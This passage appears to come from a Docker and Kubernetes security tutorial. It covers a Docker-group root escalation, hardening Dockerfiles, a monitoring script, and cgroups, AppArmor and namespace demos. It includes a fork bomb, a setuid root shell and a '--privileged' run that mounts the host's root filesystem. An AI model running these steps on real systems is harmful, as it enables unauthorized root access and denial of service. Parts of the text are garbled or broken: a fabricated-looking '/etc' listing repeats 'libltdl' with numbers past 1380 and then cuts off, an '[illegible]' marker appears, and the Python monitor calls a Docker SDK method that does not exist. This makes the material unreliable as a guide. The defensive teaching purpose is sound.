[dockeradmin@6130_dockerserver dockervolume]$ ./setuserid
sh-4.2#
```

**Accessing Privileged Files:** As shown in the following screenshot, we are now able to access privileged files that require root permissions as a result of the above steps.

The demonstrated attack vividly illustrates a significant vulnerability within Docker, where adding a user to the Docker group inadvertently grants them root access to the host system. While Docker simplifies and accelerates application deployment, it is crucial for administrators and developers to be aware of and mitigate potential security risks. Implementing robust security measures such as user namespace remapping and limiting Docker group membership is essential to safeguarding Docker environments against unauthorized access and exploitation. As Docker continues to play a pivotal role in modern software deployment, prioritizing security in containerized environments is paramount.

## Privilege Escalation Mitigation

**Privilege Escalation Attack Scenario:** There is a specific attack scenario of privilege escalation attack where the attacker initiates by collecting information about user and group IDs in a docker environment. The attacker then attempts to access important files like /etc/sudoers, which are usually restricted. And then, the attacker explores the filesystem, observes the source code and compiles a binary with higher privileges. Consequently, the attacker creates a vulnerable Docker image using specific build instructions. While running this image, the attacker mounts a host directory to interact with the container and execute the compiled binary which helps to gain elevated privileges and access sensitive files like /etc/shadow.

### Mitigation:

To mitigate privilege escalation threats in Docker environments, it is important to follow the principle of least privilege. This means ensuring that containers are running with the fewest possible privileges,

which can be achieved through features such as user namespace mapping. This limits the permissions of Docker containers by associating user namespaces, guaranteeing that even if an adversary obtains access, their capacity to elevate privileges is limited. Utilizing image scanning tools helps in the detection and reduction of vulnerabilities prior to deployment, while implementing suitable filesystem permissions limits unauthorized entry to crucial data. By establishing suitable permissions, access to crucial files is restricted solely to authorized users and processes. This helps prevent unauthorized modifications or access to sensitive information within Docker containers. Furthermore, by establishing container runtime security tools and keeping Docker and its dependencies updated on a regular basis, it is easier to monitor suspicious activity and help mitigate known vulnerabilities, both of which strengthen the security posture of Docker environments against privilege escalation attacks. This lessens the possibility of unauthorized changes or access to private data stored in Docker containers. There are three proposed ways to mitigate privilege escalation which will be implemented below:

**Container Hardening:** This is a way to remap users to non-root user privileges.

```
{ "userns-remap": "default" }
```

Explanation:

The Docker daemon is set up to use the default user namespace remapping mode using this above line of code. By separating container processes from the root user namespace of the host system, this setting activates Docker's user namespace remapping capability, which contributes to improved container security.

**Explanation:** A Docker image based on the Alpine Linux distribution is set up through this Dockerfile. With the user ID (1000) and group ID (1000), it creates a non-root user and group called "myuser". The "myuser" user and group now have ownership of the working directory, which is set to "/app". Lastly, "myuser" is selected as the user context. Docker run --rm -it myapp can be used to launch the image as a container, with the "myuser" user executing in the container, once it has been built into an image using docker build -t myapp. By lessening the possible consequences of security breaches inside the container, this improves security.

```
FROM alpine:latest

# Create a non-root user and group
RUN addgroup -g 1000 myuser && \
    adduser -D -u 1000 -G myuser myuser

# Set working directory and change ownership
WORKDIR /app
RUN chown myuser:myuser /app

# Switch to the non-root user
USER myuser
```

**Filesystem Permissions:** Create or modify the Dockerfile to change permissions of sensitive files before copying them into the container.

**Explanation:** This Dockerfile configures a Docker image based on Alpine Linux. It starts by changing the permissions of sensitive files like "/etc/sudoers" and "/etc/shadow" to only allow read and write access for the owner (root). Then, it copies two files, "copybinary.sh" and "setuserid," into the "/app" directory within the container. And then, it sets the default user context to "myuser." This ensures that any subsequent operations within the container are performed with reduced privileges. Finally, we can add application

```
FROM alpine:latest

# Change permissions of sensitive files
RUN chmod 600 /etc/sudoers /etc/shadow

# Copy files into the container
COPY copybinary.sh /app/copybinary.sh
COPY setuserid /app/setuserid

# Set non-root user as the default user
USER myuser
```



setup instructions. Overall, this setup enhances security by restricting access to sensitive files and running the container with minimal privileges

**Runtime Security:** Add a python script to monitor and log runtime activities on the docker

### Explanation:

This Python script is a tool for monitoring Docker containers that continuously checks them for vulnerabilities and keeps an eye on runtime behavior. To interact with Docker resources, it makes use of the Docker SDK for Python. Every container that is currently running is inspected by the `scan_vulnerabilities` function, which logs any vulnerabilities that are discovered to a file. Container start, stop, and kill events are examples of runtime activity that is logged by the `monitor_runtime_activity` function, which is triggered by Docker events. Both routines log any faults they find and gracefully handle exceptions. Running continuously, the script checks for vulnerabilities, keeps track of runtime activities, and logs its findings every ten minutes.

```
import docker
import time
import datetime

LOG_FILE = "docker_monitoring_logs.txt"

def scan_vulnerabilities():
    client = docker.from_env()

    try:
        print("Scanning vulnerabilities...")
        for container in client.containers.list():
            vulnerabilities = container.check_vulnerabilities()
            if vulnerabilities:
                log_to_file(f"Vulnerabilities found in container {container.name}: {vulnerabilities}")
    except Exception as e:
        log_to_file(f"Error occurred during vulnerability scanning: {e}")

def monitor_runtime_activity():
    client = docker.from_env()

    try:
        print("Monitoring runtime activity...")
        for event in client.events(decode=True):
            log_to_file(f"Runtime activity: {event}")
    except Exception as e:
        log_to_file(f"Error occurred during runtime activity monitoring: {e}")

def log_to_file(log_data):
    with open(LOG_FILE, "a") as logfile:
        logfile.write(f"[{datetime.datetime.now()}] {log_data}\n")

def main():
    while True:
        try:
            scan_vulnerabilities()
            monitor_runtime_activity()

            log_to_file("Vulnerability scan and runtime activity monitored.")

            time.sleep(600)
        except KeyboardInterrupt:
            print("Monitoring stopped by user.")
            break
        except Exception as e:
            print(f"Error: {e}")
            log_to_file(f"Error occurred: {e}")

if __name__ == "__main__":
    main()
```

### Final Docker File code

In Docker Daemon configuration json  
{ "userns-remap": "default" }

## Security Applications: Cgroups, Apparmor, Namespaces

To deploy a container, it needs to be hosted on a system or server with an appropriate environment. Generally, a container can be hosted on most operating systems with the appropriate dependencies, even on an operating system like Windows. However, the type of operating system chosen will determine the complexity, security and cost of running the container on that system.

To classify the types of operating systems we have:

### Fully featured OS

These operating systems are feature-packed and will have all the functions a typical everyday commercial OS would have. One of the issues that come with using such operating systems is that the more features and functionality it has, the bigger the attack surface. Instead of directly attacking the container, adversaries would try targeting the Host OS instead. Example: Windows, Ubuntu

### Container OS

It doesn't have all the features and functions like in Windows but instead, it is designed specially with containers in mind. It has features such as the ability to enforce security policies, authentication, logging features of container and system performance etc. Example: CoreOS, RancherOS

What security features are considered when deciding a OS for container?

Now that we have seen some of the benefits of choosing a container-centric OS over a general-purpose one, here is the list of security features and best practices the host OS should have.

Resource isolation	Mandatory access control	Authentication
Namespaces	Seccomp or Apparmor	Automated Patch Management
Data Security	Host-level Firewall	Logging

- **Cgroups**

Cgroups are useful in allocating resources to a container. In this demonstration we have considered a scenario where a threat actor is using DOS to deplete the resources of the container. If the container uses up all of the resources the performances of other containers will also be affected. We are particularly interested in the process IDs. We can find out the number of process IDs allocated to a container by the following steps:

Get the container ID from the command `docker ps`. When you run a container, a process ID is associated with it. Thus using the above command we can get the container's pid. Once we get the pid, we can find the "slice" or the cgroup associated with the pid.

```
$ docker ps
CONTAINER ID   IMAGE     COMMAND                  CREATED        STATUS        PORTS   NAMES
7579a75b482b   ubuntu   "/bin/bash"             22 minutes ago Up 4 seconds   sweet_dewdney

$ docker inspect --format '{{.State.Pid}}' 7579a75b482b
5099

$ cat /proc/5099/cgroup
0::/system.slice/docker-7579a75b482b9826b96b5cc455518c45dcaadc4c02d9958c2b9934796b8a5351.scope
```

```
ubuntu@ip-172-31-50-104:~$ cat /proc/1824/cgroup
0::/system.slice/docker-9963b2d4b7a7d8d717c4271494798c67a578bb1cc6ede324798629147e9c693.scope
ubuntu@ip-172-31-50-104:~$ sudo ls /sys/fs/cgroup/system.slice/docker-9963b2d4b7a7d8d717c4271494798c67a578bb1cc6ede324798629147e9c693.scope
cgroup.controllers  cgroup.procs      cpu.max.burst      cpuset.cpus        hugetlb.2MB.events.local  io.prio.class      memory.low          memory.reclaim      memory.swap.max      pids.peak
cgroup.events       cgroup.stat       cpu.pressure        cpuset.cpus.effective  hugetlb.2MB.max         io.stat            memory.max          memory.stat          misc.current          rdma.current
cgroup.freeze       cgroup.subtree_control  cpu.stat            cpuset.cpus.partition  hugetlb.2MB.numa_stat   io.weight          memory.mis          memory.swap.current  misc.events          rdma.max
cgroup.kill         cgroup.threads    cpu.ulamp.max        cpuset.mems         hugetlb.2MB.rsvd.current  memory.current      memory.numa_stat    memory.swap.events   misc.max
cgroup.max.depth    cgroup.type       cpu.ulamp.min        cpuset.mems.effective  hugetlb.2MB.rsvd.max     memory.events       memory.oom.group    memory.swap.high     pids.current
cgroup.max.descendants  cpu.idle          cpu.weight           hugetlb.2MB.current   io.max                   memory.events.local  memory.peak         memory.swap.max      pids.events
cgroup.pressure      cpu.max           cpu.weight.nice      hugetlb.2MB.events    io.pressure              memory.high         memory.pressure      memory.swap.current  pids.max
```

This provides us with all the resources and stats available for that slice.

```
ubuntu@ip-172-31-50-104:~$ sudo cat /sys/fs/cgroup/system.slice/docker-9963b2d4b7a7d8d717c4271494798c67a578bb1cc6ede324798629147e9c693.scope/pids.max
9498
```

One of the stats is `pids.max`, this gives us the maximum number of pids that can be run on that container, in this case 9498. If all the pids are used, the container will be a victim of DOS attack .

We can limit the number of pids on a container by adding a flag called `-pids-limit` <number>. This is an implementation of cgroups and won't have more than the specified number of pids.

```
$ docker run -it --pids-limit 10 ubuntu
root@d73513f6d123:/#
```

```
root@d73513f6d123:/# :(){ :|: & };;
[1] 10
root@d73513f6d123:/# bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
```

The above screen shot is an example of what happens if all the pids is used up. By allocating a fixed amount of pids to a container we can save resources that could have been used if it was under attack.

- **Apparmor**

Apparmor can be used to provide restrictions to the container. The biggest merit of using this is even if the container has root access, it cannot change the permissions given to it. To demonstrate this a container will be created denying it access to write inside `/etc` folder. We will now add a rule using Apparmor to prevent the container from doing this.



```
ubuntu@ip-172-31-50-104:/etc/apparmor.d/containers$
```

From the host we go into /etc/apparmor.d and create a new folder called containers. We can add all our container related rules inside this folder.

Inside the container folder, we add a file with the above code. This code denies write and link permissions for all that's under /etc folder.

We then need to update the linux kernel with our new rule.

```
ubuntu@ip-172-31-50-104:/etc/apparmor.d/containers$ cat docker-block-etc
#include <tunables/global>
profile docker-block-bin flags=(attach_disconnected, mediate_deleted) {
  #include <abstractions/base>
  file,
  deny /etc/** wl,
}
```

To create a container with the new policy, we need to use the flag `--security-opt`

```
ubuntu@ip-172-31-50-104:/etc/apparmor.d/containers$ sudo apparmor_parser -r /etc/apparmor.d/containers/docker-block-etc
```

```
ubuntu@ip-172-31-50-104:~$ sudo docker run --rm -it --security-opt apparmor:docker-block-bin ubuntu
apparmor:<policy_name>
```

```
root@19ea807f5df2:/etc# pwd
/etc
root@19ea807f5df2:/etc# mkdir test
mkdir: cannot create directory 'test': Permission denied
```

Now if we try to create a folder inside /etc we are given a Permission denied message.

## Namespaces

Namespaces are used for isolation. To prevent a container from looking at the host resources, docker uses namespaces by default. Let's look at a scenario. The container creates an isolated filesystem when run meaning files are not shared between the host and container. What if we want to share one folder of the host with the container?

In the host we have created a folder called `example_file`.

When we create a container, we can see that the `example_file` folder is not present.

```
ubuntu@ip-172-31-50-104:~$ ls /etc/
backports  cloud  console-setup  containerd  cron.d  cron.daily  cron.hourly  cron.monthly  cron.weekly  cronabs  dpkg  e2scrub.conf  environment  hosts  hosts.allow  hosts.deny  init.d  initramfs-tools  inputrc  libaudit  libltdl  libltdl-dev  libltdl7  libltdl8  libltdl9  libltdl10  libltdl11  libltdl12  libltdl13  libltdl14  libltdl15  libltdl16  libltdl17  libltdl18  libltdl19  libltdl20  libltdl21  libltdl22  libltdl23  libltdl24  libltdl25  libltdl26  libltdl27  libltdl28  libltdl29  libltdl30  libltdl31  libltdl32  libltdl33  libltdl34  libltdl35  libltdl36  libltdl37  libltdl38  libltdl39  libltdl40  libltdl41  libltdl42  libltdl43  libltdl44  libltdl45  libltdl46  libltdl47  libltdl48  libltdl49  libltdl50  libltdl51  libltdl52  libltdl53  libltdl54  libltdl55  libltdl56  libltdl57  libltdl58  libltdl59  libltdl60  libltdl61  libltdl62  libltdl63  libltdl64  libltdl65  libltdl66  libltdl67  libltdl68  libltdl69  libltdl70  libltdl71  libltdl72  libltdl73  libltdl74  libltdl75  libltdl76  libltdl77  libltdl78  libltdl79  libltdl80  libltdl81  libltdl82  libltdl83  libltdl84  libltdl85  libltdl86  libltdl87  libltdl88  libltdl89  libltdl90  libltdl91  libltdl92  libltdl93  libltdl94  libltdl95  libltdl96  libltdl97  libltdl98  libltdl99  libltdl100  libltdl101  libltdl102  libltdl103  libltdl104  libltdl105  libltdl106  libltdl107  libltdl108  libltdl109  libltdl110  libltdl111  libltdl112  libltdl113  libltdl114  libltdl115  libltdl116  libltdl117  libltdl118  libltdl119  libltdl120  libltdl121  libltdl122  libltdl123  libltdl124  libltdl125  libltdl126  libltdl127  libltdl128  libltdl129  libltdl130  libltdl131  libltdl132  libltdl133  libltdl134  libltdl135  libltdl136  libltdl137  libltdl138  libltdl139  libltdl140  libltdl141  libltdl142  libltdl143  libltdl144  libltdl145  libltdl146  libltdl147  libltdl148  libltdl149  libltdl150  libltdl151  libltdl152  libltdl153  libltdl154  libltdl155  libltdl156  libltdl157  libltdl158  libltdl159  libltdl160  libltdl161  libltdl162  libltdl163  libltdl164  libltdl165  libltdl166  libltdl167  libltdl168  libltdl169  libltdl170  libltdl171  libltdl172  libltdl173  libltdl174  libltdl175  libltdl176  libltdl177  libltdl178  libltdl179  libltdl180  libltdl181  libltdl182  libltdl183  libltdl184  libltdl185  libltdl186  libltdl187  libltdl188  libltdl189  libltdl190  libltdl191  libltdl192  libltdl193  libltdl194  libltdl195  libltdl196  libltdl197  libltdl198  libltdl199  libltdl200  libltdl201  libltdl202  libltdl203  libltdl204  libltdl205  libltdl206  libltdl207  libltdl208  libltdl209  libltdl210  libltdl211  libltdl212  libltdl213  libltdl214  libltdl215  libltdl216  libltdl217  libltdl218  libltdl219  libltdl220  libltdl221  libltdl222  libltdl223  libltdl224  libltdl225  libltdl226  libltdl227  libltdl228  libltdl229  libltdl230  libltdl231  libltdl232  libltdl233  libltdl234  libltdl235  libltdl236  libltdl237  libltdl238  libltdl239  libltdl240  libltdl241  libltdl242  libltdl243  libltdl244  libltdl245  libltdl246  libltdl247  libltdl248  libltdl249  libltdl250  libltdl251  libltdl252  libltdl253  libltdl254  libltdl255  libltdl256  libltdl257  libltdl258  libltdl259  libltdl260  libltdl261  libltdl262  libltdl263  libltdl264  libltdl265  libltdl266  libltdl267  libltdl268  libltdl269  libltdl270  libltdl271  libltdl272  libltdl273  libltdl274  libltdl275  libltdl276  libltdl277  libltdl278  libltdl279  libltdl280  libltdl281  libltdl282  libltdl283  libltdl284  libltdl285  libltdl286  libltdl287  libltdl288  libltdl289  libltdl290  libltdl291  libltdl292  libltdl293  libltdl294  libltdl295  libltdl296  libltdl297  libltdl298  libltdl299  libltdl300  libltdl301  libltdl302  libltdl303  libltdl304  libltdl305  libltdl306  libltdl307  libltdl308  libltdl309  libltdl310  libltdl311  libltdl312  libltdl313  libltdl314  libltdl315  libltdl316  libltdl317  libltdl318  libltdl319  libltdl320  libltdl321  libltdl322  libltdl323  libltdl324  libltdl325  libltdl326  libltdl327  libltdl328  libltdl329  libltdl330  libltdl331  libltdl332  libltdl333  libltdl334  libltdl335  libltdl336  libltdl337  libltdl338  libltdl339  libltdl340  libltdl341  libltdl342  libltdl343  libltdl344  libltdl345  libltdl346  libltdl347  libltdl348  libltdl349  libltdl350  libltdl351  libltdl352  libltdl353  libltdl354  libltdl355  libltdl356  libltdl357  libltdl358  libltdl359  libltdl360  libltdl361  libltdl362  libltdl363  libltdl364  libltdl365  libltdl366  libltdl367  libltdl368  libltdl369  libltdl370  libltdl371  libltdl372  libltdl373  libltdl374  libltdl375  libltdl376  libltdl377  libltdl378  libltdl379  libltdl380  libltdl381  libltdl382  libltdl383  libltdl384  libltdl385  libltdl386  libltdl387  libltdl388  libltdl389  libltdl390  libltdl391  libltdl392  libltdl393  libltdl394  libltdl395  libltdl396  libltdl397  libltdl398  libltdl399  libltdl400  libltdl401  libltdl402  libltdl403  libltdl404  libltdl405  libltdl406  libltdl407  libltdl408  libltdl409  libltdl410  libltdl411  libltdl412  libltdl413  libltdl414  libltdl415  libltdl416  libltdl417  libltdl418  libltdl419  libltdl420  libltdl421  libltdl422  libltdl423  libltdl424  libltdl425  libltdl426  libltdl427  libltdl428  libltdl429  libltdl430  libltdl431  libltdl432  libltdl433  libltdl434  libltdl435  libltdl436  libltdl437  libltdl438  libltdl439  libltdl440  libltdl441  libltdl442  libltdl443  libltdl444  libltdl445  libltdl446  libltdl447  libltdl448  libltdl449  libltdl450  libltdl451  libltdl452  libltdl453  libltdl454  libltdl455  libltdl456  libltdl457  libltdl458  libltdl459  libltdl460  libltdl461  libltdl462  libltdl463  libltdl464  libltdl465  libltdl466  libltdl467  libltdl468  libltdl469  libltdl470  libltdl471  libltdl472  libltdl473  libltdl474  libltdl475  libltdl476  libltdl477  libltdl478  libltdl479  libltdl480  libltdl481  libltdl482  libltdl483  libltdl484  libltdl485  libltdl486  libltdl487  libltdl488  libltdl489  libltdl490  libltdl491  libltdl492  libltdl493  libltdl494  libltdl495  libltdl496  libltdl497  libltdl498  libltdl499  libltdl500  libltdl501  libltdl502  libltdl503  libltdl504  libltdl505  libltdl506  libltdl507  libltdl508  libltdl509  libltdl510  libltdl511  libltdl512  libltdl513  libltdl514  libltdl515  libltdl516  libltdl517  libltdl518  libltdl519  libltdl520  libltdl521  libltdl522  libltdl523  libltdl524  libltdl525  libltdl526  libltdl527  libltdl528  libltdl529  libltdl530  libltdl531  libltdl532  libltdl533  libltdl534  libltdl535  libltdl536  libltdl537  libltdl538  libltdl539  libltdl540  libltdl541  libltdl542  libltdl543  libltdl544  libltdl545  libltdl546  libltdl547  libltdl548  libltdl549  libltdl550  libltdl551  libltdl552  libltdl553  libltdl554  libltdl555  libltdl556  libltdl557  libltdl558  libltdl559  libltdl560  libltdl561  libltdl562  libltdl563  libltdl564  libltdl565  libltdl566  libltdl567  libltdl568  libltdl569  libltdl570  libltdl571  libltdl572  libltdl573  libltdl574  libltdl575  libltdl576  libltdl577  libltdl578  libltdl579  libltdl580  libltdl581  libltdl582  libltdl583  libltdl584  libltdl585  libltdl586  libltdl587  libltdl588  libltdl589  libltdl590  libltdl591  libltdl592  libltdl593  libltdl594  libltdl595  libltdl596  libltdl597  libltdl598  libltdl599  libltdl600  libltdl601  libltdl602  libltdl603  libltdl604  libltdl605  libltdl606  libltdl607  libltdl608  libltdl609  libltdl610  libltdl611  libltdl612  libltdl613  libltdl614  libltdl615  libltdl616  libltdl617  libltdl618  libltdl619  libltdl620  libltdl621  libltdl622  libltdl623  libltdl624  libltdl625  libltdl626  libltdl627  libltdl628  libltdl629  libltdl630  libltdl631  libltdl632  libltdl633  libltdl634  libltdl635  libltdl636  libltdl637  libltdl638  libltdl639  libltdl640  libltdl641  libltdl642  libltdl643  libltdl644  libltdl645  libltdl646  libltdl647  libltdl648  libltdl649  libltdl650  libltdl651  libltdl652  libltdl653  libltdl654  libltdl655  libltdl656  libltdl657  libltdl658  libltdl659  libltdl660  libltdl661  libltdl662  libltdl663  libltdl664  libltdl665  libltdl666  libltdl667  libltdl668  libltdl669  libltdl670  libltdl671  libltdl672  libltdl673  libltdl674  libltdl675  libltdl676  libltdl677  libltdl678  libltdl679  libltdl680  libltdl681  libltdl682  libltdl683  libltdl684  libltdl685  libltdl686  libltdl687  libltdl688  libltdl689  libltdl690  libltdl691  libltdl692  libltdl693  libltdl694  libltdl695  libltdl696  libltdl697  libltdl698  libltdl699  libltdl700  libltdl701  libltdl702  libltdl703  libltdl704  libltdl705  libltdl706  libltdl707  libltdl708  libltdl709  libltdl710  libltdl711  libltdl712  libltdl713  libltdl714  libltdl715  libltdl716  libltdl717  libltdl718  libltdl719  libltdl720  libltdl721  libltdl722  libltdl723  libltdl724  libltdl725  libltdl726  libltdl727  libltdl728  libltdl729  libltdl730  libltdl731  libltdl732  libltdl733  libltdl734  libltdl735  libltdl736  libltdl737  libltdl738  libltdl739  libltdl740  libltdl741  libltdl742  libltdl743  libltdl744  libltdl745  libltdl746  libltdl747  libltdl748  libltdl749  libltdl750  libltdl751  libltdl752  libltdl753  libltdl754  libltdl755  libltdl756  libltdl757  libltdl758  libltdl759  libltdl760  libltdl761  libltdl762  libltdl763  libltdl764  libltdl765  libltdl766  libltdl767  libltdl768  libltdl769  libltdl770  libltdl771  libltdl772  libltdl773  libltdl774  libltdl775  libltdl776  libltdl777  libltdl778  libltdl779  libltdl780  libltdl781  libltdl782  libltdl783  libltdl784  libltdl785  libltdl786  libltdl787  libltdl788  libltdl789  libltdl790  libltdl791  libltdl792  libltdl793  libltdl794  libltdl795  libltdl796  libltdl797  libltdl798  libltdl799  libltdl800  libltdl801  libltdl802  libltdl803  libltdl804  libltdl805  libltdl806  libltdl807  libltdl808  libltdl809  libltdl810  libltdl811  libltdl812  libltdl813  libltdl814  libltdl815  libltdl816  libltdl817  libltdl818  libltdl819  libltdl820  libltdl821  libltdl822  libltdl823  libltdl824  libltdl825  libltdl826  libltdl827  libltdl828  libltdl829  libltdl830  libltdl831  libltdl832  libltdl833  libltdl834  libltdl835  libltdl836  libltdl837  libltdl838  libltdl839  libltdl840  libltdl841  libltdl842  libltdl843  libltdl844  libltdl845  libltdl846  libltdl847  libltdl848  libltdl849  libltdl850  libltdl851  libltdl852  libltdl853  libltdl854  libltdl855  libltdl856  libltdl857  libltdl858  libltdl859  libltdl860  libltdl861  libltdl862  libltdl863  libltdl864  libltdl865  libltdl866  libltdl867  libltdl868  libltdl869  libltdl870  libltdl871  libltdl872  libltdl873  libltdl874  libltdl875  libltdl876  libltdl877  libltdl878  libltdl879  libltdl880  libltdl881  libltdl882  libltdl883  libltdl884  libltdl885  libltdl886  libltdl887  libltdl888  libltdl889  libltdl890  libltdl891  libltdl892  libltdl893  libltdl894  libltdl895  libltdl896  libltdl897  libltdl898  libltdl899  libltdl900  libltdl901  libltdl902  libltdl903  libltdl904  libltdl905  libltdl906  libltdl907  libltdl908  libltdl909  libltdl910  libltdl911  libltdl912  libltdl913  libltdl914  libltdl915  libltdl916  libltdl917  libltdl918  libltdl919  libltdl920  libltdl921  libltdl922  libltdl923  libltdl924  libltdl925  libltdl926  libltdl927  libltdl928  libltdl929  libltdl930  libltdl931  libltdl932  libltdl933  libltdl934  libltdl935  libltdl936  libltdl937  libltdl938  libltdl939  libltdl940  libltdl941  libltdl942  libltdl943  libltdl944  libltdl945  libltdl946  libltdl947  libltdl948  libltdl949  libltdl950  libltdl951  libltdl952  libltdl953  libltdl954  libltdl955  libltdl956  libltdl957  libltdl958  libltdl959  libltdl960  libltdl961  libltdl962  libltdl963  libltdl964  libltdl965  libltdl966  libltdl967  libltdl968  libltdl969  libltdl970  libltdl971  libltdl972  libltdl973  libltdl974  libltdl975  libltdl976  libltdl977  libltdl978  libltdl979  libltdl980  libltdl981  libltdl982  libltdl983  libltdl984  libltdl985  libltdl986  libltdl987  libltdl988  libltdl989  libltdl990  libltdl991  libltdl992  libltdl993  libltdl994  libltdl995  libltdl996  libltdl997  libltdl998  libltdl999  libltdl1000  libltdl1001  libltdl1002  libltdl1003  libltdl1004  libltdl1005  libltdl1006  libltdl1007  libltdl1008  libltdl1009  libltdl1010  libltdl1011  libltdl1012  libltdl1013  libltdl1014  libltdl1015  libltdl1016  libltdl1017  libltdl1018  libltdl1019  libltdl1020  libltdl1021  libltdl1022  libltdl1023  libltdl1024  libltdl1025  libltdl1026  libltdl1027  libltdl1028  libltdl1029  libltdl1030  libltdl1031  libltdl1032  libltdl1033  libltdl1034  libltdl1035  libltdl1036  libltdl1037  libltdl1038  libltdl1039  libltdl1040  libltdl1041  libltdl1042  libltdl1043  libltdl1044  libltdl1045  libltdl1046  libltdl1047  libltdl1048  libltdl1049  libltdl1050  libltdl1051  libltdl1052  libltdl1053  libltdl1054  libltdl1055  libltdl1056  libltdl1057  libltdl1058  libltdl1059  libltdl1060  libltdl1061  libltdl1062  libltdl1063  libltdl1064  libltdl1065  libltdl1066  libltdl1067  libltdl1068  libltdl1069  libltdl1070  libltdl1071  libltdl1072  libltdl1073  libltdl1074  libltdl1075  libltdl1076  libltdl1077  libltdl1078  libltdl1079  libltdl1080  libltdl1081  libltdl1082  libltdl1083  libltdl1084  libltdl1085  libltdl1086  libltdl1087  libltdl1088  libltdl1089  libltdl1090  libltdl1091  libltdl1092  libltdl1093  libltdl1094  libltdl1095  libltdl1096  libltdl1097  libltdl1098  libltdl1099  libltdl1100  libltdl1101  libltdl1102  libltdl1103  libltdl1104  libltdl1105  libltdl1106  libltdl1107  libltdl1108  libltdl1109  libltdl1110  libltdl1111  libltdl1112  libltdl1113  libltdl1114  libltdl1115  libltdl1116  libltdl1117  libltdl1118  libltdl1119  libltdl1120  libltdl1121  libltdl1122  libltdl1123  libltdl1124  libltdl1125  libltdl1126  libltdl1127  libltdl1128  libltdl1129  libltdl1130  libltdl1131  libltdl1132  libltdl1133  libltdl1134  libltdl1135  libltdl1136  libltdl1137  libltdl1138  libltdl1139  libltdl1140  libltdl1141  libltdl1142  libltdl1143  libltdl1144  libltdl1145  libltdl1146  libltdl1147  libltdl1148  libltdl1149  libltdl1150  libltdl1151  libltdl1152  libltdl1153  libltdl1154  libltdl1155  libltdl1156  libltdl1157  libltdl1158  libltdl1159  libltdl1160  libltdl1161  libltdl1162  libltdl1163  libltdl1164  libltdl1165  libltdl1166  libltdl1167  libltdl1168  libltdl1169  libltdl1170  libltdl1171  libltdl1172  libltdl1173  libltdl1174  libltdl1175  libltdl1176  libltdl1177  libltdl1178  libltdl1179  libltdl1180  libltdl1181  libltdl1182  libltdl1183  libltdl1184  libltdl1185  libltdl1186  libltdl1187  libltdl1188  libltdl1189  libltdl1190  libltdl1191  libltdl1192  libltdl1193  libltdl1194  libltdl1195  libltdl1196  libltdl1197  libltdl1198  libltdl1199  libltdl1200  libltdl1201  libltdl1202  libltdl1203  libltdl1204  libltdl1205  libltdl1206  libltdl1207  libltdl1208  libltdl1209  libltdl1210  libltdl1211  libltdl1212  libltdl1213  libltdl1214  libltdl1215  libltdl1216  libltdl1217  libltdl1218  libltdl1219  libltdl1220  libltdl1221  libltdl1222  libltdl1223  libltdl1224  libltdl1225  libltdl1226  libltdl1227  libltdl1228  libltdl1229  libltdl1230  libltdl1231  libltdl1232  libltdl1233  libltdl1234  libltdl1235  libltdl1236  libltdl1237  libltdl1238  libltdl1239  libltdl1240  libltdl1241  libltdl1242  libltdl1243  libltdl1244  libltdl1245  libltdl1246  libltdl1247  libltdl1248  libltdl1249  libltdl1250  libltdl1251  libltdl1252  libltdl1253  libltdl1254  libltdl1255  libltdl1256  libltdl1257  libltdl1258  libltdl1259  libltdl1260  libltdl1261  libltdl1262  libltdl1263  libltdl1264  libltdl1265  libltdl1266  libltdl1267  libltdl1268  libltdl1269  libltdl1270  libltdl1271  libltdl1272  libltdl1273  libltdl1274  libltdl1275  libltdl1276  libltdl1277  libltdl1278  libltdl1279  libltdl1280  libltdl1281  libltdl1282  libltdl1283  libltdl1284  libltdl1285  libltdl1286  libltdl1287  libltdl1288  libltdl1289  libltdl1290  libltdl1291  libltdl1292  libltdl1293  libltdl1294  libltdl1295  libltdl1296  libltdl1297  libltdl1298  libltdl1299  libltdl1300  libltdl1301  libltdl1302  libltdl1303  libltdl1304  libltdl1305  libltdl1306  libltdl1307  libltdl1308  libltdl1309  libltdl1310  libltdl1311  libltdl1312  libltdl1313  libltdl1314  libltdl1315  libltdl1316  libltdl1317  libltdl1318  libltdl1319  libltdl1320  libltdl1321  libltdl1322  libltdl1323  libltdl1324  libltdl1325  libltdl1326  libltdl1327  libltdl1328  libltdl1329  libltdl1330  libltdl1331  libltdl1332  libltdl1333  libltdl1334  libltdl1335  libltdl1336  libltdl1337  libltdl1338  libltdl1339  libltdl1340  libltdl1341  libltdl1342  libltdl1343  libltdl1344  libltdl1345  libltdl1346  libltdl1347  libltdl1348  libltdl1349  libltdl1350  libltdl1351  libltdl1352  libltdl1353  libltdl1354  libltdl1355  libltdl1356  libltdl1357  libltdl1358  libltdl1359  libltdl1360  libltdl1361  libltdl1362  libltdl1363  libltdl1364  libltdl1365  libltdl1366  libltdl1367  libltdl1368  libltdl1369  libltdl1370  libltdl1371  libltdl1372  libltdl1373  libltdl1374  libltdl1375  libltdl1376  libltdl1377  libltdl1378  libltdl1379  libltdl1380  libltdl1381  libltdl1382  libltdl1383  libltdl1384  libltdl1385  libltdl1386  libltdl138
```

```
ubuntu@ip-172-31-50-104:~$ ls /etc/example_file/  
created_in_container
```

```
ubuntu@ip-172-31-50-104:~$ sudo docker volume create test_volume
test_volume
ubuntu@ip-172-31-50-104:~$ ls -l
total 0
```

We create a container by binding it to the container run command as shown above and mount it in the container folder

```
root@d90c34982d00:/# ls
bin boot container dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@d90c34982d00:/# touch /container/container1
```

```
ubuntu@ip-172-31-50-104:~$ sudo docker run -it -v test_volume:/container ubuntu
```

```
root@9cf6d95e94d2:/# cd /container/  
root@9cf6d95e94d2:/container# touch container2  
root@9cf6d95e94d2:/container# ls  
container1  container2
```

```
ubuntu@ip-172-31-50-104:~$ sudo docker run -it --privileged --mount type=bind,source=/,target=/hostfs ubuntu
```

[illegible]

# Kubernetes Security: RBAC Implementation

Role Based Access Control (RBAC) defines unique roles which users are configured for. These roles are classified in a hierarchy in which each role allows access to certain privileges in the system. RBAC is available in use with Kubernetes, which can prevent escalation of privilege attacks and give authentication security. Proper configuration of

RBAC policies is crucial for the security of Kubernetes, especially with numerous environments.

